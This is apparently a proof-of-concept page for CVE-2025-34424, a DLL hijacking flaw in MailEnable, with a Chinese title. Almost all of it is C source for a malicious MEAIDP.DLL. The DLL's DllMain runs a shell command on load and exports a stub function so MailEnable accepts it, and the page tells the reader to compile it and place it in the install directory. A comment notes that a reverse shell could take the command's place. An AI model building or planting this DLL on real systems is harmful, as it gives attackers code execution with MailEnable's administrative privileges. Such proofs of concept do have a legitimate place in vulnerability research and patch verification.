CVE-2025-34424 MailEnable 不安全DLL加载漏洞导致本地代码执行

# CVE-2025-34424 PoC - Malicious MEAIDP.DLL # This PoC demonstrates DLL hijacking in MailEnable # Compile as DLL and place in MailEnable installation directory #include <windows.h> BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // Create reverse shell or execute malicious code // Runs with the privileges of MailEnable admin process system("cmd.exe /c whoami > C:\\\\temp\\\\pwned.txt"); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } // Exported function that MailEnable expects extern "C" __declspec(dllexport) int MEAI_Initialize(void) { return 0; }